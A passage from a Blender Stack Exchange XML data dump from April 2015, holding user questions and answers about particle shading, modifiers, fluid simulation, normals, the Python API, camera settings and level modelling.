LastEditorUserId="47" LastEditDate="2015-04-29T14:14:39.980" LastActivityDate="2015-04-29T14:14:39.980" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29128" PostTypeId="1" AcceptedAnswerId="89306" CreationDate="2015-04-29T13:49:46.683" Score="9" ViewCount="412" Body="&lt;p&gt;In cycles you can control the color of a Particle-(dupli)Object with the ParticleInfo Node. You can, for example, divide Particle Age by Lifetime and use the result as factor for a mix shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if and how it is possible to do the same with a metaball (instead of a cube)?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have a particle system and i'm using a object (in this case a sphere) as dupli object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the picture you can see that the material color is affected by the age of the particle. If i change the dupli object from the sphere to a meatball the age of the particle has no influence. The material is same material that i used for the sphere&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;My example Material&lt;/li&gt;&#xA;&lt;li&gt;Sphere as dupli object&lt;/li&gt;&#xA;&lt;li&gt;Metaball as dupli object&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Kt0ZW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2488" LastEditorUserId="7777" LastEditDate="2015-04-29T16:37:12.983" LastActivityDate="2017-11-06T20:02:47.337" Title="Can I use something similar to the ParticleInfo Node but for meta objects?" Tags="&lt;cycles-render-engine&gt;&lt;particles&gt;&lt;shaders&gt;&lt;meta-objects&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29129" PostTypeId="1" CreationDate="2015-04-29T14:52:43.717" Score="3" ViewCount="1109" Body="&lt;p&gt;When I append an object from a 'spare part' Blender file, its modifiers (SubSurf and boolean) don't work. Their names are highlight in red in the stack modifier.&#xA;Even if I remove those modifiers from the source file, I can not still apply them in the second file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to set this object as Unique (U) or Local (L) in both files; nothing new!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea about that behavior?&#xA;(Blender 2.74, W. XP)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VKQrI.jpg&quot; alt=&quot;Modifier on appended object&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="609" LastActivityDate="2015-04-29T14:52:43.717" Title="Some modifiers don't work on appended object (Modifier's names are red highlighted)" Tags="&lt;append&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="29130" PostTypeId="1" CreationDate="2015-04-29T15:57:20.170" Score="3" ViewCount="1012" Body="&lt;p&gt;I want to simulate two fluids shearing past each other, to show that they form a vortex naturally. (That is, I don't want to put an artificial vortex to make the fluids rotate. I want it to happen as a natural result of the physics simulation.) I don't need to render it, but I would like to have it show the velocity of the particles, as done in the tutorial below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed the technique in Maxim Sachs' tutorial on YouTube on how to do Fluid Flow Simulations. I made an emitter of particles and set its physics to &quot;fluid.&quot; I duplicated it, flipped it 180 degrees and aimed it at the first emitter. (So that both fluids belong to the same particle system.) But when I animate it, the fluids flow past each other as if neither was there. (That is, no collisions between the two particle systems.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can such a simulation be done in Blender and what's the trick to allowing the two fluids to interact?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;====&#xA;Update: Since asking the question, I've tried another tack. I am using a fluid domain and created two inflow volumes. I get some mixing that way, although I haven't gotten parameters right to get a vortex yet. But even if I get the vortex, I don't see a way to color the two inflows. Blender sees the fluids one (probably related to doing it all in the domain.) I've tried coloring the inflows with red and green materials, but no difference.&lt;/p&gt;&#xA;" OwnerUserId="13931" LastEditorUserId="13931" LastEditDate="2015-04-29T17:02:56.860" LastActivityDate="2015-04-29T23:49:42.623" Title="How to collide fluids to form vortex" Tags="&lt;physics&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29131" PostTypeId="1" AcceptedAnswerId="29135" CreationDate="2015-04-29T16:21:14.047" Score="4" ViewCount="4997" Body="&lt;p&gt;I would like to ask if there is a way to merge 2 objects together in a way that later it will not be separable if I hit &quot;Separate by loose parts&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am facing this problem when I am making a torch like object which consists of two objects, an icosphere and an elongated cube. When I do &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;J&lt;/kbd&gt; to merge them, it's fine because it's only one object. But after I use the array modifier to make a lot of torches and then separate them by loose parts, I get all the icospheres and cubes separated too, not just the torches. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea how to solve this problem. I will appreciate any help. &#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="13580" LastEditorUserId="241" LastEditDate="2015-04-29T16:23:31.363" LastActivityDate="2020-01-15T13:03:20.417" Title="Merging 2 objects, no loose parts" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;objects&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29132" PostTypeId="1" CreationDate="2015-04-29T16:28:11.333" Score="1" ViewCount="84292" Body="&lt;p&gt;This is probably too many questions at once but my time is short as the semester is coming to an end and I really want to work this issue out before my class time is over.  Please humor me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yesterday I asked how to move the vertices so that they stitch together and got two answers that worked quite well.  At first though selecting the vertices that I needed to move to the origin of the &quot;Y&quot; axis and scaling them to &quot;zero Y&quot; left a split with parallel lines of vertices because I had not set up my mesh exactly correct from the beginning of my modeling effort.  When I moved the mesh so that they them moved to that &quot;zero Y&quot; point I found that I could not drag them accurately.  I went a little beyond that point each time so I then scaled them again to &quot;zero Y&quot; and things looked better.  It would help if I knew a way to accurately move the mesh to that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gV2WW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I find that I cannot flip the normals so that I can see the material on the mesh.  Supposedly, according to the book I am using in class I can find it in the Mesh Tools while in Edit mode.  That command may have been there in the release of blender that the text was written to, but it doesn't appear in my 2.72 Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hXngS.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried selecting all the vertices in Edit mode as directed and pressing &quot;Ctrl-N&quot; as directed, but all that did was make the normals appear to face the wrong way on both sides of the Mesh.  Can you help with this?&#xA;Also, Please tell me how to make Blender have only one screen after I have split it into two vertically.  It is hard to get the Properties window to show up where I want it to be when I have two windows up. &lt;/p&gt;&#xA;" OwnerUserId="8332" LastActivityDate="2015-04-29T17:45:39.107" Title="How do I flip normals on this model?" Tags="&lt;normals&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ClosedDate="2015-04-29T18:25:36.133" ContentLicense="CC BY-SA 3.0" />
  <row Id="29133" PostTypeId="2" ParentId="29132" CreationDate="2015-04-29T16:41:02.340" Score="10" Body="&lt;p&gt;&lt;strong&gt;Normals configuration shortcuts&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; Calculates the Normals to face outside&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; Calculates the Normals to face inside&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shortcuts can be used in &lt;strong&gt;Edit Mode&lt;/strong&gt; on selected faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can use &lt;strong&gt;Flip Direction&lt;/strong&gt; button within the Shading/UVs tab in Tools panel&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vC3AZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-04-29T17:45:39.107" LastActivityDate="2015-04-29T17:45:39.107" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="29134" PostTypeId="1" AcceptedAnswerId="29137" CreationDate="2015-04-29T16:44:49.440" Score="4" ViewCount="4903" Body="&lt;p&gt;I'm looking at an export script and I see where it extracts the various 3d properties from an object named &quot;me&quot; like these 3 lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;me = bpy.context.object.data #EDIT: This is what &quot;me&quot; is, I think&#xA;me_verts = me.vertices[:]&#xA;materials = me.materials[:]&#xA;faceuv = len(me.uv_textures) &amp;gt; 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which it goes on to format and write to a file. Where can I find a list of all the things I can access like this? I found the python API but I haven't found this specifically.&lt;/p&gt;&#xA;" OwnerUserId="13102" LastEditorUserId="13102" LastEditDate="2015-04-29T17:31:00.030" LastActivityDate="2016-06-19T18:43:27.150" Title="Documentation for accessable object properties" Tags="&lt;python&gt;&lt;documentation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29135" PostTypeId="2" ParentId="29131" CreationDate="2015-04-29T17:21:16.883" Score="5" Body="&lt;p&gt;We can avoid the separation of the two objects after hitting the &lt;strong&gt;Separate by loose parts&lt;/strong&gt; in these steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Merge the two objects with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;J&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Go to &lt;em&gt;Edit Mode&lt;/em&gt; and &lt;em&gt;select 2 vertices&lt;/em&gt;, one belongs to the first object and the second belongs to the second object&lt;/li&gt;&#xA;&lt;li&gt;Merge the vertices with &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;M&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13580" LastEditorUserId="3710" LastEditDate="2015-04-29T20:56:26.623" LastActivityDate="2015-04-29T20:56:26.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29137" PostTypeId="2" ParentId="29134" CreationDate="2015-04-29T17:42:13.210" Score="6" Body="&lt;ul&gt;&#xA;&lt;li&gt;The export and import scripts are indeed an excellent form of documentation. &lt;/li&gt;&#xA;&lt;li&gt;There is a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_current/contents.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;massive amount of documentation&lt;/a&gt;. This includes a quickstart and API overview. More importantly it has a good search box (&lt;strong&gt;warning:&lt;/strong&gt; avoid including parenthesis when searching functions).&lt;/li&gt;&#xA;&lt;li&gt;Interactively you can use the python console to investigate which properties are available on a given reference. It has a ctrl+space auto-complete (auto reveal).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;in the console for instance&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; obj = bpy.context.object   # the current active object&#xA;&amp;gt;&amp;gt;&amp;gt; obj = bpy.data.objects['Cube']   # object specified by name&#xA;&amp;gt;&amp;gt;&amp;gt; obj.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you type &lt;code&gt;obj.&lt;/code&gt; and hit ctrl+space you'll see all the attributes of the object at that level. This list is long, and you can scroll the sidebar&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7kRGf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you state &lt;code&gt;me = obj.data&lt;/code&gt;, the &lt;em&gt;me&lt;/em&gt; named variable is just a convention, it could be called whatever, but it's handy to stick to the convention. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;obj.data.&amp;lt;ctrl+space&amp;gt;&lt;/code&gt; looks like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/psGTd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see information about the mesh you might do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# get coordinates of 1st vertex (index=0)&#xA;&amp;gt;&amp;gt;&amp;gt; obj.data.vertices[0].co   &#xA;&#xA;# indices that make up the first polygon in the mesh&#xA;&amp;gt;&amp;gt;&amp;gt; obj.data.polygons[0].vertices[:]  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LQAbU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the ctrl+space feature will show all attributes starting with the letter v if you do &lt;code&gt;obj.data.v&amp;lt;ctrl+space&amp;gt;&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Q72A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This becomes useful once you get a mental picture of the API, it can speed up navigation big time.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2016-06-19T18:43:27.150" LastActivityDate="2016-06-19T18:43:27.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29138" PostTypeId="1" CreationDate="2015-04-29T17:56:04.890" Score="1" ViewCount="787" Body="&lt;p&gt;Unreal Engine uses materials and UV maps for static mesh morph targets. Can I setup my model to facilitate this functionality? You can see the documentation page for Unreal Engine here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The documentation is for 3DS Max so I have no idea how to convert this to blender, as I have no access to 3DS Max.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.unrealengine.com/latest/INT/Engine/Content/Types/StaticMeshes/MorphTargets/index.html&quot; rel=&quot;nofollow&quot;&gt;https://docs.unrealengine.com/latest/INT/Engine/Content/Types/StaticMeshes/MorphTargets/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers, Rigel&lt;/p&gt;&#xA;" OwnerUserId="14068" LastEditorUserId="2607" LastEditDate="2015-07-02T18:08:53.667" LastActivityDate="2015-07-02T18:08:53.667" Title="morph target uv maps" Tags="&lt;export&gt;&lt;conversion&gt;&lt;unreal-engine&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29139" PostTypeId="1" CreationDate="2015-04-29T17:57:11.817" Score="1" ViewCount="306" Body="&lt;p&gt;See below image for clarification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not only is the geometry not being displaced properly, it seems to have distorted (mirrored?) the Surface color mapping too. The only thing that changes from the first and second screenshot is the connection: Texture.Fac --&gt; Displacement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that both planes have the same material, and that the second plane is transformed in object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tested in blender 2.74 - should i file a bug report?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Eo6p5.png&quot; alt=&quot;Bug Illustration&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3378" LastActivityDate="2015-04-29T17:57:11.817" Title="Blender:Cycles:Nodes:Input:Geometry:Position corrupts displacement mapping - bug or misconfig?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="29140" PostTypeId="1" CreationDate="2015-04-29T18:31:04.870" Score="1" ViewCount="1448" Body="&lt;p&gt;I hope there is an actual answer to this question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to accomplish over all is to keep the amount of RAM used to a minimum. I'm not too sure about how Unity handles this, and that's question for another forum anyway. I'm wondering is it generally better to create small .blend files and assemble them in the game engine of choice or have one large level and let the game engine handle the level loading. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the same time I'm also wondering about UV mapping large levels. For example I'm working on a building. Its rather simple single level school. I've build the model no problem. I'm just wondering should I break it down into individual rooms, then reassemble them into the &quot;building&quot; in the game engine of choice? Or even build each room separately and assemble them into another .blend file, as the whole building? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess what I'm really asking is: How do large/successful game developers handle large level creation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure the answer varies depending on the device your product is aiming for. Lets assume a tablet for now. &lt;/p&gt;&#xA;" OwnerUserId="13987" LastActivityDate="2015-04-29T23:06:37.510" Title="Creating models (levels) for a Unity game. Do I create 1 model or several?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29141" PostTypeId="1" AcceptedAnswerId="29142" CreationDate="2015-04-29T18:43:11.030" Score="3" ViewCount="1010" Body="&lt;p&gt;I have a question about the camera setting in the movie clip editor.&lt;br&gt;&#xA;I am trying to copy the characteristics of a Kinect camera in Blender, but do not have much knowledge in photography.&#xA;All I know is that Focal Length must be 525. I configured this value in Blender, but the result is not right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed the &lt;em&gt;Width&lt;/em&gt; of the Camera Sensor to see what happens and obtained a different outcome. But I have no idea what values I should set (and if it is really this setting that I should change) to the camera to correspond to the real one.&lt;/p&gt;&#xA;" OwnerUserId="14069" LastEditorUserId="2217" LastEditDate="2015-04-29T21:49:46.707" LastActivityDate="2015-04-29T21:49:46.707" Title="Camera focal length settings to match a Kinect" Tags="&lt;camera&gt;&lt;tracking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29142" PostTypeId="2" ParentId="29141" CreationDate="2015-04-29T18:50:42.397" Score="3" Body="&lt;p&gt;According to the specs found &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/jj131033.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; the Kinect has a horizontal viewing angle of 57 degrees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set your camera accordingly in the lens section:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QzQ0h.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-04-29T18:50:42.397" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29144" PostTypeId="1" CreationDate="2015-04-29T20:12:33.320" Score="3" ViewCount="227" Body="&lt;p&gt;I have a problem for a few days and I can't solve it =[[&#xA;I have a composite object of 4 parts and I'm trying to do the translation and rotation operations on it.&#xA;Each part of the object has a rotation and translation matrix (so I have 4 different rotations and translations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The steps are:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Calculates the transpose of the rotation matrix;&lt;/li&gt;&#xA;&lt;li&gt;Place all the objects in the origin (0,0,0);&lt;/li&gt;&#xA;&lt;li&gt;Define &quot;Origin to Geometry&quot; for all objects;&lt;/li&gt;&#xA;&lt;li&gt;Conversion of the transposed rotation matrix to Euler Angles;&lt;/li&gt;&#xA;&lt;li&gt;Modify the position and rotation of objects with their translations and rotations;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is a part of my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for i in range (1, 5):&#xA;    print (&quot;done &quot; + str(i)) &#xA;    bpy.context.scene.objects.active = bpy.data.objects[&quot;obj&quot;+str(i)]&#xA;    obj = bpy.context.scene.objects.active&#xA;&#xA;    with open('info/info_' + a + '_00' + str(i-1) + '.txt', newline='') as inputfile:&#xA;&#xA;&#xA;        results = list(csv.reader(inputfile))&#xA;&#xA;        r1 = results[4]&#xA;        r2 = results[5]&#xA;        r3 = results[6]&#xA;        t = results[8]&#xA;&#xA;        r1 = [num.strip().split(&quot; &quot;) for num in r1]&#xA;        r2 = [num.strip().split(&quot; &quot;) for num in r2]&#xA;        r3 = [num.strip().split(&quot; &quot;) for num in r3]&#xA;        t = [num.strip().split(&quot; &quot;) for num in t]&#xA;&#xA;&#xA;        #with transposed matrix&#xA;        a11 = float(r1[0][0]) &#xA;        a12 = float(r2[0][0])&#xA;        a13 = float(r3[0][0])&#xA;        a21 = float(r1[0][1])   &#xA;        a22 = float(r2[0][2])   &#xA;        a23 = float(r3[0][3])&#xA;        a31 = float(r1[0][4])&#xA;        a32 = float(r2[0][5])&#xA;        a33 = float(r3[0][6])&#xA;        t1 = float(t[0][0]) # value of x&#xA;        t2 = float(t[0][7]) # value of y&#xA;        t3 = float(t[0][8]) # value of z&#xA;&#xA;        #http://nghiaho.com/?page_id=846&#xA;        rot_x = atan2(a32,a33) # result in rad&#xA;        rot_y = atan2(-a31,sqrt(pow(a32,2)+pow(a33,2)))&#xA;        rot_z = atan2(a21,a11) # to degrees -&amp;gt; degrees(rot_z)   &#xA;&#xA;        bpy.data.objects[&quot;obj&quot; + str(i)].location = [0, 0, 0]   &#xA;        bpy.data.objects[&quot;obj&quot; + str(i)].rotation_euler = [0, 0, 0] &#xA;        bpy.data.objects[&quot;obj&quot; + str(i)].rotation_euler = [-rot_x, rot_z, -rot_y] &#xA;        bpy.data.objects[&quot;obj&quot; + str(i)].location = [t1, -t3, t2]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS: I change the sequence of rotation angles because blenders coordinate system is different &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is is below. The strange is that the object are disconnected, which can not happen. Does anyone have any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cPTUR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have attached the camera image that I have and that I wish&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rOx2S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that the difference is small but it can not continue my work with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.filedropper.com/info_1&quot; rel=&quot;nofollow noreferrer&quot;&gt;information about the matrix&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.filedropper.com/2904151900&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.filedropper.com/traintext&quot; rel=&quot;nofollow noreferrer&quot;&gt;Original file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot!&lt;/p&gt;&#xA;" OwnerUserId="14069" LastEditorUserId="47" LastEditDate="2015-06-09T11:31:13.037" LastActivityDate="2015-06-09T11:31:13.037" Title="Chained Transformation Matrices not producing predicted result" Tags="&lt;python&gt;&lt;transforms&gt;" AnswerCount="0" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="29145" PostTypeId="1" CreationDate="2015-04-29T20:23:41.273" Score="0" ViewCount="343" Body="&lt;p&gt;I'm trying to make a stream in blender. I have the stream bed with an applied displacement modifier, and an applied solidify modifier. I tried to use the fluid simulation, but it doesn't look the best. Any ideas?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jU7zj.png&quot; alt=&quot;First Part of domain settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VeasA.png&quot; alt=&quot;Second Part of domain settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ppOux.png&quot; alt=&quot;Ground settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CuS5i.png&quot; alt=&quot;Inflow Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QXxUh.png&quot; alt=&quot;Outflow Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LO8E7.png&quot; alt=&quot;Domain size&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14061" LastEditorUserId="14061" LastEditDate="2015-04-29T21:26:40.470" LastActivityDate="2015-04-29T21:26:40.470" Title="Making a stream in Blender" Tags="&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="29146" PostTypeId="2" ParentId="29118" CreationDate="2015-04-29T21:58:29.743" Score="1" Body="&lt;p&gt;Well, when I imported the FBX into Unity, it was the object called &quot;rig&quot; (the armature object generated by Rigify) that was being moved around. Checking that object for strange translations in each Action, I found nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I did notice a stray &quot;LocRot&quot; channel that didn't seem to be attached to any particular object. At least not by name. This was what was moving the rig around.&#xA;So removing this channel fixed my problem.&lt;/p&gt;&#xA;" OwnerUserId="13733" LastActivityDate="2015-04-29T21:58:29.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29148" PostTypeId="2" ParentId="29122" CreationDate="2015-04-29T23:03:35.250" Score="13" Body="&lt;p&gt;You have to set the inverse matrix  of the child to clear the initial transformation of the parent at parenting moment :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj1.parent= obj2&#xA;obj1.matrix_parent_inverse = obj2.matrix_world.inverted()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-04-29T23:03:35.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29149" PostTypeId="2" ParentId="29140" CreationDate="2015-04-29T23:06:37.510" Score="1" Body="&lt;p&gt;Creating smaller parts (i.e. separate rooms, halls, corners) is referred to as &quot;Modular structuring&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modularity is faster, easier to get great results from, and is easier to change up and reuse, but it comes at the cost of adaptability, so this really depends on your game. If you're doing a level where everything is uniform anyway, like a subway tunnel or the interior of a military base or vehicle, modularity can be your best friend. Other cases, like a ranch house or an art center (cause they usually involve weird architecture) can create serious problems for the modular output due to the fact that you would be creating so many different components you might as well just do the whole thing by hand. It's really a case by case study, but I generally use a mix, modular where it works, and conventional where it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do chose to use some modular structuring, you should follow a few rules:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Always use standardized sizes (this will help with assembly, avoiding trying to find the happy-medium between a 2.5 foot door and a 3 foot door.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;make everything the same theme&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Place the origin of the modular sections at one edge or corner. (so you can use snapping to position them.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;someone has a great set of tutorials on modular structuring, but I can't find it right now, so I'll post a link when I do.&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-04-29T23:06:37.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29150" PostTypeId="2" ParentId="29130" CreationDate="2015-04-29T23:49:42.623" Score="2" Body="&lt;p&gt;You cannot visualize vortex with fluid simulation voxel data, because there is nothing moving inside the fluid mesh, it all happens on the fluid's surface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to use 2 interacting domains and form the vortex with their interface by mixing them. This cannot be done in Blender since multiple domains cannot interact. You can simulate only 1 domain in scene, although you can playback multiple domains from baked files in single scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are Trace particles for visualizing the movement of voxel liquid. Add some dummy mesh object (plane) into scene, enable fluid and set type to Particle and check Tracer. Under Domain &gt; Fluid Particles set their count. But these particles are not always behaving nice (they stick to walls, play dead).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you might want to use SPH Fluid Particle simulation instead and get a very nice vortex. If you mesh these particles with the CubeSurface addon you could also color the opposing streams differently so the render will be nice.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-29T23:49:42.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
